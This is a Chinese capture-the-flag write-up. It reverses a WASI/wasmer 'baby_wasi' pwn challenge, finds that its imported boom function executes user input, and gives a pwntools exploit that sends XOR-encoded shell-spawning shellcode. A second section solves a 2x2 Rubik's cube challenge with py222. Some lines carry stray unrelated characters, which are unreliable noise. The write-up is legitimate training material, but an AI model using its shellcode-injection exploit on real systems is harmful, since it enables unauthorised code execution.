i0 = i32_load8_u((&memory), (u64)(i0));
if (i0) {goto B4;}
i0 = l0;
i0 = i32_load((&memory), (u64)(i0 + 4));
i1 = 1u;
i0 += i1;
i0 = malloc(i0);
l2 = i0;
i0 = !(i0);
if (i0) {goto B0;}
i0 = l1;
i1 = l2;
i2 = l0;
i2 = i32_load((&memory), (u64)(i2 + 4));
i0 = (*Z_wasi_unstableZ_fd_prestat_dir_nameZ_iiii)(i0, i1, i2);
i0 = !(i0);
if (i0) {goto B5;}
i0 = l2;
free(i0);
goto B0;
B5:;
i0 = l2;
i1 = l0;
i1 = i32_load((&memory), (u64)(i1 + 4));
i0 += i1;
i1 = 0u;
i32_store8((&memory), (u64)(i0), i1);
i0 = l1;
i1 = l2;
i0 = __wasilibc_register_preopened_fd(i0, i1);
l3 = i0;
i0 = l2;
free(i0);
i0 = l3;
if (i0) {goto B0;}
B4:;
i0 = l1;
i1 = 1u;
i0 += i1;
l2 = i0;
i1 = l1;
i0 = i0 < i1;
l3 = i0;
i0 = l2;
l1 = i0;
i0 = l3;
i0 = !(i0);
if (i0) {goto L1;}
B2:;
i0 = l0;
i1 = l0;
i2 = 12u;
i1 += i2;
i0 = (*Z_wasi_unstableZ_environ_sizes_getZ_iii)(i0, i1);
if (i0) {goto B8;}
i0 = 0u;
i1 = l0;
i1 = i32_load((&memory), (u64)(i1));
i2 = 2u;
i1 <<= (i2 & 31);
i2 = 4u;
i1 += i2;
i1 = malloc(i1);
i32_store((&memory), (u64)(i0 + 1528), i1);
i0 = l0;
i0 = i32_load((&memory), (u64)(i0 + 12));
i0 = malloc(i0);
l1 = i0;
i0 = !(i0);
if (i0) {goto B8;}
i0 = 0u;
i0 = i32_load((&memory), (u64)(i0 + 1528));
l2 = i0;
i0 = !(i0);
if (i0) {goto B8;}
i0 = l2;
i1 = l0;
i1 = i32_load((&memory), (u64)(i1));
i2 = 2u;
i1 <<= (i2 & 31);
i0 += i1;
i1 = 0u;
i32_store((&memory), (u64)(i0), i1);
i0 = 0u;
i0 = i32_load((&memory), (u64)(i0 + 1528));
i1 = l1;
i0 = (*Z_wasi_unstableZ_environ_getZ_iii)(i0, i1);
if (i0) {goto B8;}
i0 = l0;
i1 = 12u;
i0 += i1;
i1 = l0;
i0 = (*Z_wasi_unstableZ_args_sizes_getZ_iii)(i0, i1);
if (i0) {goto B7;}
i0 = l0;
i0 = i32_load((&memory), (u64)(i0 + 12));
l1 = i0;
if (i0) {goto B10;}
goto B9;
B10:;
i0 = l1;
i1 = 2u;
i0 <<= (i1 & 31);
i1 = 4u;
i0 += i1;
i0 = malloc(i0);
l1 = i0;
i0 = l0;
i0 = i32_load((&memory), (u64)(i0));
i0 = malloc(i0);
l2 = i0;
i0 = l1;
i0 = !(i0);
if (i0) {goto B7;}
i0 = l2;
i0 = !(i0);
if (i0) {goto B7;}
i0 = l1;
i1 = 0u;
i32_store((&memory), (u64)(i0), i1);
i0 = l1;
i1 = l2;
i0 = (*Z_wasi_unstableZ_args_getZ_iii)(i0, i1);
if (i0) {goto B7;}
B9:;
__wasm_call_ctors();
i0 = l0;
i0 = i32_load((&memory), (u64)(i0 + 12));
i1 = l1;
i0 = main(i0, i1);
l1 = i0;
__prepare_for_exit();
i0 = l1;
if (i0) {goto B6;}
i0 = l0;
i1 = 16u;
i0 += i1;
g0 = i0;
goto Bfunc;
B8:;
i0 = 71u;
_Exit(i0);
UNREACHABLE;
B7:;
i0 = 71u;
_Exit(i0);
UNREACHABLE;
B6:;
i0 = l1;
_Exit(i0);
UNREACHABLE;
B0:;
i0 = 71u;
_Exit(i0);
UNREACHABLE;
Bfunc:;
FUNC_EPILOGUE;
}
然后根據(jù)這個可以識別出來main函數(shù),找到main函數(shù)以后就比較好找關(guān)鍵函數(shù)的位置了颜阐,關(guān)鍵函數(shù)如下:
__int64 real_main()
{
unsigned int v0; // ST38_4
unsigned int v1; // eax
unsigned int c; // ST2C_4
int v3; // ST30_4
int v5; // [rsp+18h] [rbp-28h]
unsigned int v7; // [rsp+1Ch] [rbp-24h]
unsigned int lucky_num; // [rsp+20h] [rbp-20h]
if ( ++wasm_rt_call_stack_depth > 0x1F4u )
wasm_rt_trap(7LL);
g0 -= 96;
v7 = g0;
v5 = 0;
v0 = f28(0);
f88(v0);
lucky_num = (signed int)f89() % 10000;
i32_store(&memory, v7 + 16, lucky_num);
f40(1024LL, v7 + 16); // Your lucky number: %d\n
i32_store(&memory, v7, v7 + 32);
f69(1047u, v7); // %64s
while ( v5 != 64 )
{
c = i32_load8_u(&memory, v5 + v7 + 32);
v3 = get_lucky(v5 + lucky_num);
i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
}
Z_envZ_boomZ_vii(v7 + 32, 64LL); // 調(diào)用boom函數(shù)
v1 = i32_load(&memory, 3416LL);
f39(v1);
g0 = v7 + 96;
--wasm_rt_call_stack_depth;
return 0LL;
}
f40的參數(shù)是1024,f69的參數(shù)是1047,剛好對應(yīng)之前的字符串常量之間的偏移,memory的初始化如下:
char *init_memory()
{
_QWORD *v0; // rdx
_QWORD *v1; // rdx
_QWORD *v2; // rdx
_BYTE *v3; // rdi
signed __int64 v4; // rdx
char *result; // rax
wasm_rt_allocate_memory(&memory, 2LL, 0x10000LL);
v0 = (_QWORD *)(memory + 1024);
*v0 = *(_QWORD *)"Your lucky number: %d\n";
*(_QWORD *)((char *)v0 + 3060) = *(_QWORD *)&data_segment_data_0[3060];
qmemcpy(
(void *)((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)("Your lucky number: %d\n" - ((char *)v0 - ((unsigned __int64)(v0 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * ((((_DWORD)v0 - (((_DWORD)v0 + 8) & 0xFFFFFFF8) + 3068) & 0xFFFFFFF8) >> 3));
v1 = (_QWORD *)(memory + 4096);
*v1 = data_segment_data_1[0];
v1[328] = data_segment_data_1[328];
qmemcpy(
(void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL),
(const void *)((char *)data_segment_data_1 - ((char *)v1 - ((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8LL))),
8LL * ((((_DWORD)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 2632) & 0xFFFFFFF8) >> 3));
v2 = (_QWORD *)(memory + 6728);
*v2 = data_segment_data_2[0];
*(_QWORD *)((char *)v2 + 348) = *(_QWORD *)((char *)&data_segment_data_2[43] + 4);
v3 = (_BYTE *)((unsigned __int64)(v2 + 1) & 0xFFFFFFFFFFFFFFF8LL);
v4 = (char *)v2 - v3;
result = (char *)data_segment_data_2 - v4;
qmemcpy(v3, (char *)data_segment_data_2 - v4, 8LL * ((((_DWORD)v4 + 356) & 0xFFFFFFF8) >> 3));
return result;
}
可以看到memory + 1024中是"Your lucky number"所以可以大致猜到f40是printf函數(shù)
然后其他的字符串偏移如下:
.rodata:0000000000032FC0 data_segment_data_0 db 'Your lucky number: %d',0Ah,0
.rodata:0000000000032FC0 ; DATA XREF: init_memory+2A↑o
.rodata:0000000000032FD7 a64s db '%64s',0
.rodata:0000000000032FDC aReady db 'Ready!!!',0
memory + 1024 - 0x32FC0 + 0x32FD7 = memory + 1047,所以f69的第一個參數(shù)是"%64"平窘,推斷出f69是scanf函數(shù)。附加一些wasm中函數(shù)含義
i32_store(&memory, v7 + 16, lucky_num); // v7+16 = lucky_num
c = i32_load8_u(&memory, v5 + v7 + 32); // c = v5+v7+32
v1 = i32_load(&memory, 3416LL); //加載3416處的值到v1中
wasmer-c-api
主程序baby_wasi加載并執(zhí)行program.wasm凳怨,其中baby_wasi是使用了一些wasmer-c-api來執(zhí)行wasm的瑰艘,需要了解一下這些api的含義才能更好的理解程序執(zhí)行過程. wasmer-c-api的手冊https://docs.rs/wasmer-runtime-c-api/0.16.2/wasmer_runtime_c_api/
找到了一個使用wasmer-c-api執(zhí)行wasm的例子,對照這個例子理解一下:
#include <stdio.h>
#include "../wasmer.h"
#include <assert.h>
#include <stdint.h>
#include <string.h>
typedef struct {
int32_t amount;
int32_t value;
} counter_data;
typedef struct {
uint8_t* bytes;
long bytes_len;
} wasm_file_t;
wasm_file_t read_wasm_file(const char* file_name) {
wasm_file_t wasm_file;
FILE *file = fopen(file_name, "r");
fseek(file, 0, SEEK_END);
wasm_file.bytes_len = ftell(file);
wasm_file.bytes = malloc(wasm_file.bytes_len);
fseek(file, 0, SEEK_SET);
fread(wasm_file.bytes, 1, wasm_file.bytes_len, file);
fclose(file);
return wasm_file;
}
void inc_counter(wasmer_instance_context_t *ctx) {
counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
data->value = data->value + data->amount;
}
void mul_counter(wasmer_instance_context_t *ctx) {
counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
data->value = data->value * data->amount;
}
int32_t get_counter(wasmer_instance_context_t *ctx) {
counter_data* data = (counter_data*)wasmer_instance_context_data_get(ctx);
return data->value;
}
counter_data *init_counter(int32_t value, int32_t amount) {
counter_data* counter = malloc(sizeof(counter_data));
counter->value = value;
counter->amount = amount;
return counter;
}
wasmer_import_t create_import(char* module_name, char* import_name, wasmer_import_func_t *func) {
wasmer_import_t import;
wasmer_byte_array module_name_bytes;
wasmer_byte_array import_name_bytes;
module_name_bytes.bytes = (const uint8_t *) module_name;
module_name_bytes.bytes_len = strlen(module_name);
import_name_bytes.bytes = (const uint8_t *) import_name;
import_name_bytes.bytes_len = strlen(import_name);
import.module_name = module_name_bytes;
import.import_name = import_name_bytes;
import.tag = WASM_FUNCTION;
import.value.func = func;
return import;
}
int main()
{
// Prepare Imports
wasmer_value_tag inc_params_sig[] = {};
wasmer_value_tag inc_returns_sig[] = {};
//把inc_counter函數(shù)加載到wasm的env中并命名位inc
wasmer_import_func_t *inc_func = wasmer_import_func_new((void (*)(void *)) inc_counter, inc_params_sig, 0, inc_returns_sig, 0);
wasmer_import_t inc_import = create_import("env", "inc", inc_func);
wasmer_value_tag mul_params_sig[] = {};
wasmer_value_tag mul_returns_sig[] = {};
//把mul_counter函數(shù)加載到wasm的env中并命名位mul
wasmer_import_func_t *mul_func = wasmer_import_func_new((void (*)(void *)) mul_counter, mul_params_sig, 0, mul_returns_sig, 0);
wasmer_import_t mul_import = create_import("env", "mul", mul_func);
wasmer_value_tag get_params_sig[] = {};
wasmer_value_tag get_returns_sig[] = {WASM_I32};
//把get_counter函數(shù)加載到wasm的env中并命名位get
wasmer_import_func_t *get_func = wasmer_import_func_new((void (*)(void *)) get_counter, get_params_sig, 0, get_returns_sig, 1);
wasmer_import_t get_import = create_import("env", "get", get_func);
// Read the wasm file
wasm_file_t wasm_file = read_wasm_file("inc.wasm");
// Compile module
wasmer_module_t *module = NULL;
wasmer_result_t compile_res = wasmer_compile(&module, wasm_file.bytes, wasm_file.bytes_len);
assert(compile_res == WASMER_OK);
// Prepare Import Object
wasmer_import_object_t *import_object = wasmer_import_object_new();
// First, we import `inc_counter` and `mul_counter`
wasmer_import_t imports[] = {inc_import, mul_import};
wasmer_result_t extend_res = wasmer_import_object_extend(import_object, imports, 2);
assert(extend_res == WASMER_OK);
// Now, we'll import `inc_counter` and `mul_counter`
wasmer_import_t more_imports[] = {get_import};
wasmer_result_t extend_res2 = wasmer_import_object_extend(import_object, more_imports, 1);
assert(extend_res2 == WASMER_OK);
// Same `wasmer_import_object_extend` as the first, doesn't affect anything
wasmer_result_t extend_res3 = wasmer_import_object_extend(import_object, imports, 2);
assert(extend_res3 == WASMER_OK);
// Instantiate instance
printf("Instantiating\n");
wasmer_instance_t *instance = NULL;
wasmer_result_t instantiate_res = wasmer_module_import_instantiate(&instance, module, import_object);
printf("Compile result: %d\n", instantiate_res);
assert(instantiate_res == WASMER_OK);
// Init counter
counter_data *counter = init_counter(2, 5);
wasmer_instance_context_data_set(instance, counter);
wasmer_value_t result_one;
wasmer_value_t params[] = {};
wasmer_value_t results[] = {result_one};
// 調(diào)用wast的inc_and_get函數(shù)
wasmer_result_t call1_result = wasmer_instance_call(instance, "inc_and_get", params, 0, results, 1);
printf("Call result: %d\n", call1_result);
printf("Result: %d\n", results[0].value.I32);
// 調(diào)用wast的mul_and_get函數(shù)
wasmer_result_t call2_result = wasmer_instance_call(instance, "mul_and_get", params, 0, results, 1);
printf("Call result: %d\n", call2_result);
printf("Result: %d\n", results[0].value.I32);
// Clear resources
wasmer_import_func_destroy(inc_func);
wasmer_import_func_destroy(mul_func);
wasmer_import_func_destroy(get_func);
wasmer_instance_destroy(instance);
free(counter);
free(wasm_file.bytes);
return 0;
}
//inc.wast
(module
(func $inc (import "env" "inc"))
(func $mul (import "env" "mul"))
(func $get (import "env" "get") (result i32))
(func (export "inc_and_get") (result i32)
call $inc
call $get)
(func (export "mul_and_get") (result i32)
call $mul
call $get))
然后對比著看我們的baby_wasi:
v73 = wasmer_import_func_new(boom, &v56, 2LL, &v55, 0LL);
s = "env";
*(_QWORD *)&v54 = "env";
DWORD2(v54) = strlen("env");
v71 = "boom";
v52 = "boom";
LODWORD(v53) = strlen("boom");
v47 = v54;
v48 = "boom";
v49 = v53;
可以看到baby_wasi把boom函數(shù)導(dǎo)入了wasm的env中肤舞,然后來看一下program.wat中相應(yīng)的部分:
(import "wasi_unstable" "fd_prestat_get" (func (;0;) (type 2)))
(import "wasi_unstable" "fd_prestat_dir_name" (func (;1;) (type 0)))
(import "env" "boom" (func (;2;) (type 3))) //在這里導(dǎo)入了
(import "wasi_unstable" "clock_time_get" (func (;3;) (type 4)))
(import "wasi_unstable" "proc_exit" (func (;4;) (type 5)))
在剛才找到的關(guān)鍵代碼處:
scanf(1047u, v7); // %64s
while ( v5 != 64 )
{
c = i32_load8_u(&memory, v5 + v7 + 32);
v3 = get_lucky(v5 + lucky_num);
i32_store8(&memory, v5++ + v7 + 32, v3 ^ c);
}
Z_envZ_boomZ_vii(v7 + 32, 64LL); // 調(diào)用boom函數(shù)
Z_envZ_boomZ_vii
就是boom函數(shù)
所以在對輸入進(jìn)行異或之后紫新,把異或后的內(nèi)容的地址作為參數(shù)調(diào)用了boom函數(shù)
__int64 __fastcall boom(__int64 a1, int a2, int a3)
{
int v3; // ST00_4
void *dest; // ST28_8
__int64 v5; // rax
const void *v6; // rsi
v3 = a3;
dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
v5 = wasmer_instance_context_memory(a1, 0LL);
v6 = (const void *)(wasmer_memory_data(v5) + a2);
memcpy(dest, v6, v3);
return ((__int64 (__fastcall *)(void *, const void *))dest)(dest, v6);
}
可以看到boom函數(shù)直接執(zhí)行了輸入后異或的代碼,簡單來說就是我們輸入一個長度小于64的字符串,然后程序把這個字符串異或以后執(zhí)行李剖,所以我們需要傳入一段經(jīng)過異或的shell芒率,程序就可以執(zhí)行這個shell了。異或的部分根據(jù)wp來看是key[i]=emirp[lucky_nubmer + i] % 256, emirp 即為反素數(shù)序列篙顺,可以參考:https://oeis.org/A006567 我們可以直接還原代碼對shell異或
exp
from pwn import *
context.log_level = 'debug'
#context.terminal=['tmux','split','-h']
context(arch='amd64', os='linux',log_level='debug')
debug = 1
def prime_test(n):
if n & 1 and n % 3 :
v3 = 7
while (v3 - 6) ** 2 < n:
if n % (v3 - 2) :
v1 = n % v3
v3 += 6
if v1:
continue
return 0
return 1
return 0
def invsere_decimal(x):
return int(str(x)[::-1])
def is_prime(x):
v3 = invsere_decimal(x)
if v3 != x and prime_test(x):
return prime_test(v3) != 0
return False
def next_prime(x):
v3 = 0
v4 = 0
v5 = 0
while v4 < x + 1:
v6 = is_prime(v3)
if v6:
v1 = v3
else:
v1 = v5
v5 = v1
v3 = v3 + 1
if v6:
v4 += 1
return v5
def payload_encode(payload, lck_n):
print 'lck:%d' % lck_n
rtn = ''
for i in xrange(len(payload)):
c = ord(payload[i]) ^ (next_prime(lck_n) & 0xff)
lck_n += 1
rtn += chr(c)
return rtn
if debug:
p = process('./baby_wasi')
else:
p = remote('121.37.164.32', 19008)
def exp():
#gdb.attach(p, 'b boom')
p.recvuntil("Your lucky number: ")
lckn = int(p.recv())
#payload = '\xff' * 64
payload = asm(shellcraft.sh())
print "[+]payload plain: "+payload
payload = payload_encode(payload, lckn)
print '[+] payload len: %d' % len(payload)
p.sendline(payload)
p.interactive()
s = raw_input('wait for gdb')
exp()
Rubik(魔方)
題目是Rubik加上提供了URF三種操作偶芍,所以是一個魔方題。然后魔方的狀態(tài)使用最多9個字節(jié)描述德玫,說明是一個2*2的魔方(3*3的魔方至少需要21個字節(jié)描述)
在線魔方求解器
OptimalSolver-Nu1L
py222-Helica
我感覺helica這個魔方求解器的邏輯要簡單一些(Nu1L給的魔方求解器能求出來一些py222不能給的解法),所以我還是用了師父給的,畢竟我研究了挺久只會這個...
2*2魔方簡介
首先一個標(biāo)準(zhǔn)的魔方是如下結(jié)構(gòu)的:
┌──┬──┐
│ 0│ 1│
├──┼──┤
│ 2│ 3│
┌──┬──┼──┼──┼──┬──┬──┬──┐
│16│17│ 8│ 9│ 4│ 5│20│21│
├──┼──┼──┼──┼──┼──┼──┼──┤
│18│19│10│11│ 6│ 7│22│23│
└──┴──┼──┼──┼──┴──┴──┴──┘
│12│13│
├──┼──┤
│14│15│
└──┴──┘
一個魔方分為UDFBRL六個面匪蟀,按照上面這個標(biāo)準(zhǔn)的魔方展開圖來說,891011這個面是F面宰僧,0123這個面是U面材彪,4567這個面是R面,然后FUR這三個操作就是分別對應(yīng)這三個面做順時針旋轉(zhuǎn)操作(F2指對F面順時針旋轉(zhuǎn)兩次, F'指對F面逆時針旋轉(zhuǎn)一次)
py222用法
solver.py里面給出了求解的調(diào)用過程
#doAlgStr(state, move)表示對處于state的魔方進(jìn)行move操作
s = py222.doAlgStr(py222.initState(), "R U2 R2 F2 R' F2 R F R")
#打印進(jìn)行上述操作后的魔方狀態(tài)
py222.printCube(s)
#求解,輸入s是一個長度為24的整數(shù)數(shù)組琴儿,
solveCube(s)
魔方還原
明白是一個2*2的魔方之后查刻,主要的難點在于給的狀態(tài)并不是按照標(biāo)準(zhǔn)魔方狀態(tài)給的,就是給的9字節(jié)狀態(tài),轉(zhuǎn)成24長度的數(shù)組后凤类,數(shù)組的0123位并不對于上面給的魔方標(biāo)準(zhǔn)狀態(tài)的0123位置,為了還原位置我們需要記錄對標(biāo)準(zhǔn)魔方分別做URF后的狀態(tài)穗泵。題目中給的標(biāo)準(zhǔn)狀態(tài)數(shù)字是0xB6D9246DB492249,我們在旋轉(zhuǎn)魔方操作之前將表示狀態(tài)的內(nèi)存中的數(shù)字修改為0xB6D9246DB492249,然后分別做URF操作谜疤,記錄操作后的狀態(tài)
x /2xg addr //按照16進(jìn)制打印addr處的內(nèi)容(一個g是8字節(jié))
set {long}addr = 0xB6D9246DB492249 //修改addr處的內(nèi)容
用下面程序還原分別做URF操作后魔方的狀態(tài)
def printc(c):
for i in range(6):
print("".join(str(a) for a in c[i*4:i*4+4]),end=" ")
print("\n")
def change_format(b):
buf = ''
for i in range(72):
buf += chr(ord('0') + bool(((1<<i) & b)))
buf = buf[::-1]
s = ''
for i in range(len(buf)):
s += buf[i]
if i%3 == 2:
s += ' '
# print(s)
s = s.split(' ')
t = [0] * 24
for x in range(24):
tmp = int(s[x], 2)
t[x] = tmp
return t
print("init")
c = change_format(0xB6D9246DB492249)
printc(c)
print("after U")
c = change_format(0x0a4db646db912291)
printc(c)
print("after R")
c = change_format(0x900b6d8dc64b492009)
printc(c)
print("after F")
c = change_format(0x09002d924b5b4da249)
printc(c)
"""
init
0000 5555 4444 3333 2222 1111
after U
0000 5115 5544 3333 4422 1221
after R
4400 5555 4334 3113 2222 0011
after F
0220 0055 4444 5533 2332 1111
"""
根據(jù)上面的結(jié)果可以按照字符串順序還原出這個魔方對應(yīng)的狀態(tài)
┌──┬──┐
│15│14│
├──┼──┤
│12│13│
┌──┬──┼──┼──┼──┬──┬──┬──┐
│ 6│ 5│22│21│17│16│ 9│ 8│
├──┼──┼──┼──┼──┼──┼──┼──┤
│ 7│ 4│23│20│18│19│10│11│
└──┴──┼──┼──┼──┴──┴──┴──┘
│ 2│ 1│
├──┼──┤
│ 3│ 0│
└──┴──┘
也就是說佃延,字符串中第0個位置對應(yīng)py222給出的標(biāo)準(zhǔn)魔方的第15個位置,字符串中第1個位置對應(yīng)py222給出的標(biāo)準(zhǔn)魔方的第13個位置
然后我們根據(jù)字符的順序夷磕,將這些字符填入它們在標(biāo)準(zhǔn)魔方中的對應(yīng)位置后求解
import py222
import solver
def change_format(a, b):
buf = ''
for i in range(64):
buf += chr(ord('0') + bool(((1<<i) & b)))
for i in range(8):
buf += chr(ord('0') + bool(((1<<i) & a)))
buf = buf[::-1] #每三比特表示一個面的狀態(tài)
s = ''
for i in range(len(buf)):
s += buf[i]
if i%3 == 2:
s += ' '
print(s)
s = s.split(' ')
t = [0] * 24
for x in range(24):
tmp = int(s[x], 2)
t[x] = tmp
tbl = [15, 13, 12, 14, 19, 17, 16, 18, 21, 20, 22, 23, 2, 3, 1, 0, 5, 4, 6, 7, 11, 9, 8, 10]
ns = [0] * 24
for pos in range(24):
ns[tbl[pos]] = t[pos]
return ns
c = change_format(0x22, 0x00cd0d496d3132d2) #初始狀態(tài),第一個參數(shù)是最高字節(jié),第二個參數(shù)是低8字節(jié)
print(c)
solver.solveCube(c)
"""
R F' R F R' F U' F'
題目中沒有定義F2,F'這些操作,F2就是FF,F'就是FFF
"""